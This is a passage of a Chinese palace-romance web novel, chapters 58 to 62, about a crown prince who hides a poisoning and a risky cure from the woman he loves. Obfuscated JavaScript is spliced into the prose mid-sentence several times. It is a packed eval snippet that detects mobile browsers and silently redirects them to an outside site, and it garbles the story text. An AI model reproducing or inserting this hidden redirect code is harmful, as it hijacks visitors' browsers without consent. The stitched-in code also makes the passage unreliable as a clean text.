想起今日神医为自己诊脉时的神情,好像有些严肃过头。 难道是自己得了什么绝症? 思及此,江露染心中倏然一惊。 “殿下,我该不会...得了什么治愈的绝症吧?” 她的语气越来越小,带着一丝不确定。 应当...不会吧,希望是自己想多了。 谢知寒闻言更加用力地握住她的手,眼神真挚像在发誓。 “晓晓无事,孤...不会让晓晓有事。” 既然殿下说她无事,那她就一定没有事情。 她永远相信他。 谢知寒与青奚帝的关系越发僵硬,在早朝时,谢知寒越发沉默,几乎不多说一个字。 视线也从未看过高位之上的帝王。 回去时,偶遇帝 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师傅与殿下讲话时菘蓝也听到了。 王神医良久没有回答,叹气之后继续翻看医书。 宫中的医书典籍果然很全,连上古的方子都有记载。 只是,翻看了整整几日,都没有关于霜烬的任何记录。 也不知晓江姑娘是如何中的毒,那解药只有一粒,看如今这形式,恐怕解药并不在殿下手中。 若是半年之期一到,还没有解药的消息,江姑娘恐怕是要受苦了。 只能期待早日找到其他的解法,帮助二人度过这一难关。 南风正在用膳,忽然听到门被人重重推开,王神医连发也未束,衣衫也未理好,直直朝南风奔来。 模样颇有些癫狂。 “快,快去告诉殿下,我找到霜烬的其他解法了!” 什么。 南风连最后一口饭也没吃,急急的向东宫正殿奔去。 眼看殿下在和江姑娘一起用膳,南风在门外等了等。 谢知寒与南风走到一僻静处,南风颇有些激动。 “殿下,神医找到那毒的其他解法了。” 谢知寒眼捷翕动:“神医是如何说的?带孤过去。” 王神医看着面前的谢知寒,眼前的男子仍旧光风霁月,清冷无比。 只是,面上弥漫着无尽的哀愁。 王神医在心中轻叹一声。 “殿下,老朽的确找到了霜烬其他的解法,不过成功率只有两成。” 两成。 谢知寒白皙的指尖微微动了动,这几率其实很低,不过,总好过没有。 为了晓晓,哪怕一成的几率他也会全力以赴。 王神医思虑良久,对着谢知寒说出解法。 “这个法子是用身边亲密之人的血来交换,将中毒的血交换到自己身上,病人就可以痊愈。” “那交换后的人呢?”南风有些着急。 王神医静默良久:“霜烬这种毒若是移出体外,毒性会大大降低,所以交换血后的人毒性也会减小,但一切都不确定,所以这个法子只有两成几率会成功。” 59. 第 59 章 两成。 也就是说如果拿不到解药,即便是换了血,那么也还是有很大可能被毒死。 室内唯有长久的沉默。 空气一时凝固住了,在场的人几乎可以听到自己清晰的心跳声。 没有人打破这长久而寂静的沉默。 当真是过了很久很久。 王神医才出声,提了一个比较中肯的意见。 “在毒发之前,殿下最好还是做好两手准备,殿下可以在半年期限内找到解药,毕竟,这是唯一稳妥的办法。” 说来说去都绕不过解药。 谢知寒手指收紧,指尖泛白,此刻他甚至生出死意,可是晓晓还有很长很好的人生,她还有很长的一段路要走,他不能如此自私的害了她。 明明是他将她牵扯进来,却没有尽到自己当初承诺的责任。 这一切都是他的错。 他沉默思考的时间实在太长了。 久到王神医开始主动唤他:“殿下。” 他觉得自己这个提议没有任何问题,只是不知殿下为何沉默了这么久,王神医不明白,难道找到解药是一件很困难的事吗? 虽然解药只有一颗,但是如果有心去找,总能找到的。 殿下为何,看上去这么绝望。 好像是,无药可解了。 谢知寒从这声音中缓缓清醒过来,对着还在等待的众人道:“孤知晓了。” 回去的路是那么漫长,好像怎么走也走不到终点。 他每走一步都是在走向与她告别的路上。 他要如何告诉晓晓呢? 告诉她因为自己中了毒,没有解药半年后就会死去。 告诉她即使有了解法,成功的几率也只有微小的两成。 谢知寒站在回廊下很久,久到庭院中落起了雨,深秋的雨绵密而冰冷,绵延不绝的细长的雨水逐渐打湿了他的衣襟。 冰凉的感觉浸透衣裳,从内而外的渗进骨髓。 可他一点也不觉得冷。 反而觉得不够。 这雨应该再大一些。 应该直接将自己淹没。 可是不行,他还没有为晓晓拿到解药。 他甚至连死的资格都没有。 他静静地站在回廊下许久,望着明轩阁的方向,靠窗的烛火照映着他的侧脸,明明灭灭。 殿下已经很久没有来过明轩阁了。 江露染数不清这已经是第几日。 殿下,好像在有意避着自己。 明轩阁的宫人仿佛也意识到这个事实,关于太子殿下的话一句也不敢多提。 明轩阁的气氛日复一复的安静下来,透露出一种难以言说的寂静。 但以往明明不是这样的。 以往江姑娘与殿下总是无话不谈,明轩阁中也是欢声笑语不断。 哪里向现在一样沉寂。 翠竹连上茶也是小心翼翼的,生怕江姑娘不开心。 其实即便他们不说,江露染也知道殿下此时在哪里。 殿下一定在孟姑娘那里。 孟姑娘毕竟是...青奚帝亲自挑选的太子妃。 殿下他其实并没有错。 他甚至主动对自己说了这句话,告诉自己这件事。 让她早就有了心理准备。 殿下这是不是也是一种关心自己的方式。 可是她不明白,难道殿下去见了孟姑娘,难道就可以忘记自己吗? 那之前的承诺,和当初他们在一起耳鬓厮磨时说的话,到底还算不算数。 她可以接受殿下...不再喜欢自己...不再爱自己,但是她无法接受他的遗忘。 连一句告别都没有的遗忘。 锁骨处传来一阵微凉的触感,那是殿下留给自己的骨哨,殿下他曾经说只要自己吹响这个哨子,不管在哪里,殿下他都会来见自己。 殿下他如今,还会说到做到吗? 如果在此时吹响这个哨子,殿下他会不会责怪自己打扰了他和孟姑娘的幽会? 但他躲避的实在明显,她也实在见不到他,若是殿下心中已有决断,不如就让自己任性这最后一次。 以后,应当再也没有吹响这个哨子的机会了。 谢知寒此时正在披香殿身边,与孟青霜一处。 孟青霜自从之前被太子殿下无视,心中就觉得很没有面子,是以就存了自尽的心思。 但那日之后,殿下就会主动来自己殿中,虽然只是坐在小榻上看书,一天也不跟自己说一句话。 即使她主动搭讪,他也只是面色平静,极为简单地回复自己。 似乎来披香殿有些勉强。 不过殿下能来她这里已是意外之喜,她已经不再奢求其他,哪怕是远远地看他一眼,也是好的。 她在一旁调制香料,殿下在一旁看书。 这样倒也有几分岁月安好的模样。 此时突然听得殿外传来一阵哨声,是她从来没有听过的曲调,听上去还有些好听。 也不知道是谁在宫中吹哨子。 她刚想回头告知殿下,就看到殿下的脸色已经开始有些不对。 他面色苍白,整个人像是瞬间失了血色。 拿着书卷的手指用力,指尖泛出冷白。 看上去像是身体不舒服。 她焦急道:“殿下,可是有什么事吗?” 谢知寒仿佛没有听到她的关心,而是放下书卷,很快站起身走出了披香殿。 神情带着昭然若揭的关怀和爱护。 几乎是同一瞬间,她就知晓是谁在吹这支哨子,这几乎是每个女子的本能。 看来吹哨子的人一定是那位素未谋面的江姑娘。 才能让殿下露出如此表情。 江露染摘下胸前的骨哨,轻轻吹响,她不确定殿下是否还记得当初的承诺,如果他不来,那她也的确是没有办法。 她只是想见见他,同他说一些话罢了。 谢知寒来到明轩阁的殿外,静静地望着阁中,里面是他想见却不敢见的晓晓。 他不知道该如何面对她。 眼看殿下还没有来,看来果真是忘记了当初与自己的承诺。 江露染放下骨哨,她果然不该对此事保佑希望。 殿下他,有他自己的事情要做。 而自己,或许已经不与殿下同路了。 她刚想将骨哨让宫人收起,却听到一阵轻轻的脚步声,随之而来的还有她熟悉到心底的清冷檀香味。 她握着骨哨的指尖一顿,而后缓缓看向来人。 渊渟岳峙,长身玉立,是殿下没有错。 只是他脸色看上去不大好,面色苍白,失了血色。 是因为自己打扰了他与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192545|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟姑娘的相处,从而不悦了吗? “殿下...”她轻轻启唇,带着无限的思念。 谢知寒缓步走进,眼神一错不错地望着她,想将她每一个细微的表情都尽收于心中。 虽然有些不舍,但她还是要说出来。 长痛不如短痛。 “殿下,我不是故意要打断你与孟姑娘相处,我只是有几句话要与殿下说,不会耽误殿下太多的时间。” 她握着骨哨的手指缓缓收紧,在暗中给自己勇气。 就是一句话,说给殿下,然后自己就离开。 这其实是一件很简单的事,不是吗? 千万别害怕。 她努力望着他的眼睛,他的眼瞳一如既往的温柔,带着她熟悉至极的墨色。 可是这一次,她要与他说的是告别。 “殿下,”她摘下手腕上的玉镯与骨哨一起交还给他。 “这是殿下的物品,今日终于可以物归原主,晓晓很开心。殿下,晓晓本来就不是宫中之人,如今好像也没有继续离开的理由,如果殿下找到了它们真正的主人,晓晓不会打扰殿下,晓晓祝殿下与...孟姑娘长长久久。” “晓晓不会打扰殿下,殿下可以放晓晓离开吗?” 明明只是决定要简单地说一句话,为何说了这么多。 原来祝殿下与他人长长久久也没这么难,她以为她会卡在这里很久。 只是,心里为何这么难过呢? 心脏的位置好疼。 她有些抑制不住。 手中的玉镯和骨哨那样沉重,几乎在压迫着他的全身。 从心脏处传来明显的痛苦,而后很快蔓延至四肢百骸。 他看着她不动声色说出如此绝情的话,他的晓晓在与自己说离开。 他咳了一声,连带着全身上下都疼起来。 这是他送给晓晓的东西,断然没有收回来的道理。 给她了,就是给她了。 他此生都不会再收回。 他也绝对不会允许她离开。 他想去握她的手腕,却被她明显地躲开。 他的指尖一顿,但很快恢复过来。 他不顾她的躲避,仍旧向前握住她的手,将玉镯重新戴回她的手腕,玉镯有点凉,冰着两个人的心。 “晓晓,孤不会允许你离开。” “这是你的东西,孤不会再收回。” 她望着他一如往昔般温柔的眉眼,有些想不明白,殿下这是什么意思? 难道是嫌弃自己? 自己戴过了所以不会再给孟姑娘? 可是,殿下如今与自己的界限倒也过于分明了些。 不得不说,她还是非常难过的。 他给她戴骨哨的时候勾到了她的头发,应该很疼的,可是她连眉都没有皱,甚至一丝明显的表情也没有。 对他的反应好像丝毫也不在意。 她不明白,殿下这么做是为了什么? 她明明承诺不会打扰到殿下与孟姑娘的。 他是不是没有听清楚自己的话。 “殿下,你实在不必对我这样,若是有殿下对晓晓有愧疚,那殿下就给晓晓好多银钱来补偿就好了,晓晓保证此生不会再回来...打扰殿下。” 既然爱没有得到,拿点银钱也是好的,话本子里的女配角色都是这么做的。 60. 第 60 章 谢知寒为她整理好绳子的长短,听到她冷静且镇定地说出这番话,他心中也不是不难过的。 她怎么可以如此平静地说出离开他。 他内心深处突然涌上一阵酸涩,他的晓晓若是就这样离开他,那他自己一个人留在这里做什么。 她几乎可以称得上是自己的全部了。 骨哨重新戴回去,锁骨处传来熟悉的凉意。 她不明白殿下这是要做什么。 将骨哨和玉镯留给孟姑娘不好吗? 毕竟,日后若是殿下和孟姑娘...结为夫妻,自己是一定会出宫去的。 她实在做不到平静地看他与他人欢好。 既然殿下的心已经不在自己这里,那她也自然没有留下来的必要。 宫外天高海阔,何愁找不到容身之所呢? 到时她会在一个喜乐无忧之处远远遥祝他,平安喜乐,万事顺遂。 祝福他的子民,祝福他的...爱情。 殿下实在是不必为她忧心的。 谢知寒抚住江露染想取下骨哨的指尖,轻咳了一声,面色发白。 “晓晓等等孤好不好,哪怕只是...半年。” 他的声音有些发沉,听上去好像生病了,她还是忍不住为他担心。 “殿下,是感染了风寒吗?喝过药水了吗?” 没有风寒,他只是心里有些难过。 想用尽全力阻止她离开,哪怕是装出些可怜的样子让她心疼,也好过看到她对着自己的样子平静无波。 “晓晓还没有回答孤。” 江露染望着他,眼神很是不解。 殿下为何要让自己等他半年,难道是半年后殿下会与孟姑娘成婚,是了,钦天监曾经说过明年六月适宜嫁娶,刚好距离现在还有半年。 可是,殿下娶太子妃要自己留下做什么。 难道是那日殿下还要自己亲自祝福她。 江露染唇边泛出一抹苦笑,殿下还是不要这样折磨她了吧。 但是此时他的脸色泛出不健康的苍白,说出的话也有些沙哑,殿下一定是生病了。 她怎么可能在此时拒绝他。 “好,晓晓答应殿下,晓晓会等殿下半年。” 直到晚膳时分,殿下也没有离开明轩阁,而是一直呆在她身边。 难道殿下这样孟姑娘不会生气吗? “殿下,若是担心孟姑娘,可以过去的,不用晓晓,晓晓会将自己照顾的很好。” 谢知寒却用力握紧了她的手,力气之大简直要将她融入骨血。 “今日孤哪里也不去,就陪在晓晓身边。” 江露染却明显的觉察到两个字,今日。 看来殿下对自己的怜悯也只有今夜这一晚。殿下他这是在对自己说告别了罢。 翠竹将饭菜摆好,殿内气氛凝重,也不复以往的欢声笑语,她也不敢多说话,很快就退下了。 殿内很快又只剩下他们两个人。 殿下,这是也要在明轩阁用膳吗? 江露染看他一眼,谢知寒牵过她的手向着圆桌走去,期间她的手想从他指尖抽离,都被他强自地按下。 两个人静静用完晚膳,谢知寒还饮了一杯江露染调配的茶水。 自己的茶水味道那样糟糕,殿下实在是不必再委屈自己。 “殿下,茶水若是不好喝...殿下实在是不需要再委屈自己。” 她的声音一字一句,诚恳非常。 谢知寒越发难过,原来他在晓晓连饮一杯茶的资格都没有了。 “孤没有委屈自己。” 只希望自己做的这些青奚帝可以看到,可以早些将解药给他。 又或者是希望王神医可以早日将自己的血渡给晓晓。 他只希望她可以平安喜乐,余生无忧。 孟青霜看着谢知寒毫无留恋地离开,直到此时也没有来披香殿。 她自嘲地一笑,殿下他心中果然还是没有自己。 那位江姑娘倒真是好福气,可以得到殿下真正的情谊。 祝盈也觉察到谢知寒与江露染之间气氛有些不太对劲。 她还特地推了与谢衡同游御花园的时间,来明轩阁询问。 一进明轩阁就看到江露染一个人坐在窗边的小榻上,面色不佳。 她立即走到她身边:“江姑娘你没事吧?” 江露染这才发现七公主来了,她起身迎接她:“七公主怎么今日来了?” 看她这脸色,就知道她猜测的没有错,太子与江姑娘之间一定是发生了什么事。 且还不是什么好事。 “你与太子之间到底怎么回事?我为何这几日总在披香殿看到他。” 江露染神情一滞,不知该如何回应她。 祝盈等了很久,才听到江露染开口,语气中仿佛带了几分释然。 “那是殿下自己的事,我也不知。” “你们可是夫妻,你怎会不知呢?他难道没有告诉你原因吗?” 夫妻。 江露染的指尖不知碰到什么,突然有一阵疼痛,大抵是方才不小心扎了刺。 她与殿下的确有了夫妻之实,可是他们如今好像谁也不在意了。 “那个倒也不必在意。” 毕竟,半年后殿下会有另外的新娘,而她或许早就被殿下遗忘掉。 “你们到底怎么了?”谢知寒虽然看上去冷冷清清,不太好说话,但看对江姑娘的用心程度,倒也不像是辜负的模样。 莫不是两人之间有什么误会? “殿下是不是有什么事情瞒着你?” 江露染一愣,殿下他会有事情瞒着自己吗? 应当...不会吧。 殿下他一向坦荡,隐瞒这种事他应当是...不会做的吧。 江露染缓缓摇了摇头,祝盈皱眉,怎么会这样? “太子说不定是有什么其他的原因,江姑娘你可千万不要多想。” 江露染朝她点点头:“好,多谢七公主。” 但是她已经决意要在半年之前离开。 既然殿下已经做出了选择,那么她自然也要做出自己的选择。 但是没关系,即使她远在千里之外,她也仍然爱着他,并且为他祈祷。 她永远希望他好。 她希望他可以做一个光风霁月的太子殿下,甚至是一个明辨是非,青史留名的帝王。 她祝愿他得到美满的爱情,哪怕自己不在他身边,她也仍旧希望他可以平安喜乐,万事顺遂。 很快就是新年,皇宫之中也开始装扮起来,宫人都喜气洋洋的。 就连东宫也不例外。 翠竹拿着通红的纸对着江露染道:“姑娘,将这个贴在哪里?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199699|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江露染淡淡看她一眼,其实现在没有心情考虑这个,她心中想的都是如何逃离出宫。 “哪里都可以。” 翠竹一看江露染一副心不在焉的模样,上前劝慰道:“姑娘,今日可是新年,姑娘可一定要开心呀,否则奴婢看了可是会心疼姑娘的,姑娘快笑一笑。” 其实姑娘哪里需要自己安慰,姑娘最需要的还不是殿下,可是殿下如今却在披香殿陪着孟姑娘。 真是委屈江姑娘了。 真希望殿下和江姑娘可以早日和好,她也非常想念明轩阁以往的欢声笑语。 江露染听了这话,对着翠竹笑了笑,只是这笑实在是有些勉强。 她指着窗上的一个位置:“不若就贴在这里。” “好,都听姑娘的。” 谢知寒在披香殿实在是有些心不在焉。 书卷上的字迹甚至都有些看不清楚。 今日也来过披香殿,他想,他可以回去了。 他刚把手中的书卷放下,就听到孟青霜道:“殿下,民女准备了茶水,殿下不妨来尝一尝。” 谢知寒视线没有丝毫移动,语气平直,听不出什么明显的情绪。 “孤还有事,就先回去了。” 眼看谢知寒的身影很快离开,冬竹为孟青霜打抱不平。 “殿下,这也太心狠了,姑娘明明是为了殿下才留在宫中,就连老爷的信件姑娘都给推了,殿下却还如此心狠,只在姑娘这里呆了不到一刻钟就离开了。” “冬竹,慎言。”孟青霜此时才将手中的茶盏放下。 殿下他心中看来还是有着那位江姑娘,不过,没关系,只要自己够坚定,早晚可以心想事成。 殿下他一定会看到自己的用心。 江露染遥遥望着远方的天际,突然一声响动,天际之上绽放出绚烂的烟花。 宫人都出去看,翠竹也来唤她。 “姑娘,快看是烟花!” 天际之上绽放着绚烂的烟花,一朵接一朵,好像永远不会凋谢。 可惜,她与殿下之间的情谊在这个新年之夜已经凋谢了。 思及此,心脏的位置传来一阵疼痛,有些让她承受不住。 她对着翠竹道:“翠竹,我觉得身体有些不舒服,就先休息了。” “姑娘,需要我去唤太医来吗?” “不必,我休息一会儿就好了。” 翠竹隐约有些担心:“姑娘,不等一等殿下吗?” 今天可是新年之夜,殿下一定会来陪江姑娘的。 殿下。 想到谢知寒,江露染眉眼之间染上一层明显不可忽视的悲伤。 殿下此时一定在陪着孟姑娘,她又何必去给殿下添麻烦呢? 毕竟,她就快要走了,还是给殿下留个好印象,殿下以后回忆起来也能和颜悦色些。 谢知寒到达明轩阁时,明轩阁的烛火已经熄灭了。 在他面前黑漆漆的,宛如触摸不到的遥远的夜色。 现在,他却感觉到那抹冰凉的夜色,完全破开在他身体里。 晓晓没有等他。 这个认知让他浑身泛起寒凉。 在新年之夜被心爱之人抛弃,他感觉身体上的洞变得原来越大,找不到任何办法愈合。 那场烟花本来他是想要晓晓一起看的,可是他仍旧还是来晚一步。 61. 第 61 章 他呆呆地站在原地,感觉身体一阵冰冷,如今已经是冬天了。 天上忽然下起簇簇的落雪,细细的雪粒从遥远的天穹之上飘落下来,逐渐落到干枯的树枝上,灰色的甬道上。 也缓缓降落在谢知寒的眼睫上,他在那里站了许久,他身上的落雪越来越多,身上也逐渐传来一阵冷意,从外到内逐渐穿透他的骨髓。 可是身体上的疼痛却不及心痛的万分之一。 心脏处传来的疼痛简直要加倍。 他静静望着面前黑漆漆的房间,觉得自己也要变成这完全静默的黑色的一部分。 他应该去将房门推开,告诉她事情的一切,可是他却一步也动不了,他实在不知道该如何开口。 他该如何告诉她呢? 就说她还剩余不到半年的寿命,这让她如何能承受。 何况,这本来就不是晓晓应该知道的事情。 次日,谢知寒就发了烧,王神医送来汤药,看着谢知寒苍白的面色,叹气道:“殿下,这又是何必呢?” 自从王神医来了皇宫,没有了整日去菜园摘菜的事情要做,每日都倍感无聊,都开始给房间中的宫人将一些药理知识,现在王神医房间内的宫人多多少少也懂了一些药理知识。 甚至都可以开一些简单的方子了。 今日他就是闲的无事才为谢知寒煎药的,否则这种风寒太医也可以治疗,哪里轮得到他亲自动手。 谢知寒接过他手中的药碗,淡声道:“有劳神医。” 眼看谢知寒根本没有将自己的话听进去,再次叹了一声:“殿下,您决意要将自己的血渡给江姑娘?” 他不明白难道这粒解药就是如此难寻吗? 他是整个国都的太子,将来的君王,只是寻找一枚解药,真的就是如此难的事情吗? 感觉不应当啊。 难道是这枚解药已经被下毒之人摧毁了? 王神医被自己突如其来的想法吓了一跳,自己到底在想什么呢,怎么一点也不吉利。 以江姑娘在殿下心目中的地位,殿下是断然不会允许这种事情发生的。 不过,他还是很有必要在提醒殿下一句。 “殿下,此种方法还是有很大风险,殿下还是需要尽快找到解药。” 谢知寒指尖一顿,指尖有些苍白,等了一会儿他才道:“孤知晓。” 昨夜明轩阁中很是冷清,今日看着江姑娘的脸色,也是无人敢多说一句话。 气氛很是有些压抑。 今日算是除夕,殿下不会也不来吧。 翠竹偷窥了一眼江姑娘的神色,发现她好像对这件事很不在意。 虽然表面上表现的平静无波,但江姑娘心中想必也是很难受的。 翠竹将膳食摆好,对江露染道:“姑娘,该用膳了。” 虽然殿下或许不再关心自己,但是她还是要好好照顾自己。 毕竟,出宫以后也就只有她自己了。 昨夜下了一地的雪,明轩阁的园子中堆满了一地落雪,一会儿可以堆个雪人。 江露染唤来了明轩阁中所有宫人,给她们都准备了红包,里面的钱币不是很多,但好歹是个心意。 宫人们开心地收下了红包,江姑娘对她们真的很好,虽然人人都看的出来江姑娘在殿下心中占据着很重要的位置,但是江姑娘性格从不蛮横,也从来没有苛责过她们。 若是殿下可以与江姑娘一直都这么好多好,这样她们就可以一直侍奉江姑娘。 江露染在园中堆了一个雪人,非常可爱,翠竹看了看,对着江露染道:“这个雪人哪里都好,就是一点。” “眼睛没有江姑娘大,若是再捏得大一点,说不定比江姑娘还要好看。” 这个翠竹,就知道拿自己开玩笑,哪有将人和雪人作比较的。 江露染趁着翠竹不注意将一团小小的雪球蹭在她脸上,冰凉的触感让翠竹一激灵。 “姑娘!” “看你以后还敢不敢说我。” 翠竹立刻躲开,但江露染的雪团很快随后而来,明轩阁的宫人见状也跟着加入了战斗,场面一时混乱又快乐。 好像终于恢复了明轩阁以往的模样。 欢声笑语,毫无烦恼。 一切都很美好。 突然,周围寂静下来,宫人们也都逐渐放下了手中的雪团,空气像是瞬间凝固了。 随之而来的还有一阵熟悉至极的清冷檀香。 以往她总是很希望闻到这个味道,可是现在她好像已经不再希冀。 她回过身,果然看到谢知寒的身影。 周遭的宫人纷纷行礼退去,场上很快就只剩下他们两个人。 望着谢知寒一向俊美无俦的侧脸,江露染第一次不知道说些什么。 她该对他说些什么呢? 她脑子有些迟钝,站在原地思考了很久,才终于想到此时是新年第一天,应该祝他新岁安康。 “殿下,新岁安康。” 谢知寒耳中微微一顿,听到她对自己的祝福,他还以为晓晓都已经忘记了。 他牵过她的手,拿下她手中正在缓缓融化的雪团。 她的手心有点凉,谢知寒将自己的氅衣披在她身上,而后握着她的手腕回了殿内。 殿内烛火摇曳,生了地龙,很是温暖。 很快就将方才的寒冷驱逐一空。 殿下的衣服稳稳地披在自己身上,传来一阵暖意,周围也弥漫着清冷的香味。 那是她曾经最熟悉的味道。 或许她现在已经没有在披着殿下衣服的资格了。 江露染动了动手指,想将身上的衣服还给他。 谢知寒却摁住了她的手,面容上完全是不容置喙。 看着他的面容,她也只好放弃,反正她决意要离开皇宫,不若这几日就与殿下好好相处。 至少以后也可以留下一个还不错的回忆。 谢知寒咳嗽了几声,江露染很快意识到,殿下是生病了吗? 关心他的话语到了唇边又咽了回去,此时此刻,她好像并没有关心他的资格。 殿下此时最需要的或许是那位孟姑娘的关心。 自己,还是不要打扰他们的好。 谢知寒从袖子中拿出一只发簪,簪子很是精致,上面用华贵的玉石雕刻成精美的花样。 一看就是价值不菲。 谢知寒认真将它簪于江露染发髻上。 “晓晓,也祝你新岁安康。” 殿下他怎么此时还在想着送自己的新岁礼物。 可是她一点也没有准备,她以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209892|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为,他不会再需要了。 以往她忘记的时候只需要轻轻补上一个吻就好了。 殿下一定会原谅自己。 可是,如今好像不太行了。 她只好对他从实招来。 “殿下,新岁礼物可不可以过几日补上?” 谢知寒闻言,轻轻咳嗽了几声,用力压下胸中难以忍受的郁结。 “晓晓一直戴着这个发簪,就是对孤最好的新岁礼物。” 只有这么简单吗? 江露染懵懂地点头:“好,晓晓答应殿下。” 可以是可以,就是不知孟姑娘看到了会不会多想。 或许殿下也送了孟姑娘一只。 江露染在心中肯定了这个想法。 谢知寒依依不舍在明轩阁待了很久,直到夜色已深。 期间,宫人还为谢知寒端来一碗熬制好的汤药。 清苦的药香很快充满了殿内。 与殿内的熏香交织在一起。 殿下他果真是生病了。 江露染向谢知寒的方向望去一眼。 可是什么话都没有说。 她觉得她已经没有任何关心他的立场。 殿下他,身边已经有了旁人。 已经,不再需要自己了。 等到夜色真的很深,谢知寒才起身回了东宫正殿。 回去后,就看到桌案上放了一碗刚刚熬制好的甜羹。 宫人回禀:“殿下,这是孟姑娘方才派人送来的,她说听闻殿下受了风寒,特此熬制了药膳,吃起来不会太苦。” 谢知寒静静地忘了一眼桌案上的甜羹,并没有碰。 药膳一点点变凉了。 南风进来汇报事情的时候就看到这一幕,殿下对着一碗药膳失魂落魄。 可是那碗药膳一看就不是东宫的餐具,殿下他在难过什么呢? 大概是因为江姑娘对此没有一点表示吧。 可是殿下为何不将整件事情告知江姑娘呢? 这样两个人或许都不会难过了,当然,也有可能是共同走向了另一个悲伤。 他从来是个心中藏不住事情的性子。 想到什么就自然而然说出什么。 “恕属下斗胆,殿下为何不将所有事情告知江姑娘呢?” 殿内气氛比方才还要冷清,南风这才意识到自己的确是太斗胆了。 都开始管起殿下的事情了。 他刚想对着谢知寒请罪,而后退出殿内。 就听到谢知寒对着自己说,声音很淡,像是含着无数悲伤。 还有很多无可奈何。 “解药的事情还不确定,渡血的成功机率也非常低,若是告知晓晓,或许她会做出伤害自己的事情。” 晓晓若是知晓自己做为青奚帝的一枚棋子,恐怕会心中难以接受。 且晓晓都是因为自己才会被青奚帝下毒。 她或许会做出伤害她自己的事情。 与其看到晓晓受伤,他还不如将事情瞒一瞒。 毕竟,晓晓答应会等自己半年。 半年后,不管是哪种方法,他都会让晓晓安然无恙。 届时,他会找个完美的法子送孟姑娘出宫,届时再来跟晓晓解释这一切。 好像也...来得及。 62. 第 62 章 只有半年。 他的晓晓总会等他半年。 届时他就会跟晓晓解释这所有的一切。 孟青霜自从那日看到谢知寒从披香殿走了出去,就很久没有看到殿下过来,即便过来,也只是小小的坐一会儿,在她这里非常安静地看会儿书,一句话也不说。 面上的表情也是淡淡的,根本看不出任何情绪。 看着他在自己面前如此平静而淡漠的模样,突然让孟青霜想起新年夜盛放的烟花。 殿下听到那声哨响,失魂落魄地离开不久,天际之上就绽放出无比绚烂的烟花。 披香殿的宫人都出去看。 她自然也看到了,本来应该赞叹感到幸福的烟花,可她却无端感受到一丝凉意,就好像在感叹烟花虽然盛大,但却转瞬即逝。 不知道为何就想到了殿下,感觉他也和烟花一样的悲伤难过。 是因为那位江姑娘吗? 孟青霜却说不上来心里具体的想法。 她本来好像应该很生气的,但是好像也并没有。 孟青霜正在思考,秋荷此时走过来,将自己知道的消息说给孟青霜听。 “姑娘,听说太子殿下生病了。” 孟青霜此时才从回忆里抽出,听闻谢知寒得了风寒,她心中一紧,明明知道他心系旁人,知晓殿下身体不适她还是很担心的。 “怎么回事?” 秋荷将自己从东宫宫人那里听到的消息悉数说与她。 “据东宫的柳叶说,新年夜那天下了好大的雪,殿下就是在那一日受了风寒,至今也尚未痊愈。” 新年夜距离如今已有几日,殿下到此时竟然还尚未痊愈吗? 那看来应当病的很严重。 孟青霜想都没想,对着秋荷道:“我要去看看殿下。” 秋荷:“姑娘要不在做一碗药膳为殿下送去?” “好。” 孟青霜下厨做了一碗药膳,放入了一些治疗风寒的中药,将它放入药碗,仔细地收好。 虽然入宫已经有些时日,但这还是她第一次来东宫。 周遭的一切令她有些欣喜也有些陌生,但一想到马上就可以见到殿下,她的心中还是很快乐的。 南风进来通禀。 “殿下,孟姑娘此时正在殿外。听闻殿下受了风寒,孟姑娘为殿下送来了药膳。” 谢知寒听闻后拿着书卷的手未松,连眼皮都未抬,只是淡淡道:“让她进来吧。” 孟青霜得了命令,手中拿着药膳进入殿内,粉色的裙裾走动之间微微摇晃。 随之而来的还有一阵香味的味道。 谢知寒微微抬眼,这香味与晓晓身上的截然不同。 孟青霜将手中的药膳放在桌案之上,对着谢知寒微微福身。 “民女听闻殿下受了风寒,不知殿下恢复的怎么样了?” 谢知寒此时才将视线从书卷上移开,目光直视着面前的女子,面色淡淡,语气也淡淡。 “孤无事,多谢孟姑娘关心。” 殿下他好像并没有想让自己多留的意思。 可是他毕竟是生病了,她想多叮嘱他一些,好让他早日恢复过来。 殿下毕竟是大胤的储君,应当多注意身体。 孟青霜对着谢知寒叮嘱其余的事项,谢知寒听后语气淡淡的应下。 * 明轩阁。 翠竹看着江露染眉眼淡淡看着窗外干枯的花枝,忍不住劝道:“殿下看起来像是生病了,姑娘不去看看殿下吗?” 江露染听闻眉眼之间稍稍松动了一下,翠竹轻叹一声:“姑娘哪怕过去问候一下也是好的。” 毕竟,殿下还是很看重姑娘的,她虽然不清楚两个人之间到底发生了什么事,但终归是希望两个人可以早日和好的。 她很想念明轩阁当初的欢声笑语。 可是殿下此时会需要自己吗?若是自己前去会不会打扰殿下。 她有些犹豫。 生怕会给他的生活带来困扰。 